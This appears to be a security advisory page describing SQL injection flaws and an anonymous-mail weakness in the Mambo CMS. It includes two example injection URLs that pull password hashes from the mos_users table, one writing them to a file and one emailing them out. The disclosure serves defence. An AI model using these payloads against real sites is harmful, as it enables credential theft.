Multiple vulnerabilities have been identified in Mambo allowing malicious users to manipulate SQL queries and send SPAM anonymously.
1) Mambo fails to verify the "bid" parameter properly in "banners.php" allowing malicious people to conduct SQL injection. This can be exploited to write output from queries to a file if the attacker knows the path to the webroot and the webroot is writeable. It is then possible to retrieve the data via HTTP.
/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile '/path/to/file'
2) The "id" parameter isn't properly verified in "emailfriend/emailarticle.php" and "emailfriend/emailfaq.php" allowing malicious people to inject SQL code. An example has been provided, which emails the MD5 hashed password to an email address.
mambo/emailfriend/emailarticle.php?submit=submit&email=[email_adr]&youremail=[email adr]&id=100 UNION select username,email,password from mos_users where id=1
3) It is possible to send email anonymously using the "Sendmail" function in "contact.php". This could be exploited by spammers to SPAM anonymously.
Do you have additional information related to this advisory?
Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this
information to email@example.com
Subject: Mambo SQL Injection Vulnerabilities
No posts yet
You must be logged in to post a comment.
Secunia Customer Login
Not a customer already?
Learn more about how our market leading Vulnerability Management solutions can help you manage risk and ensure compliance.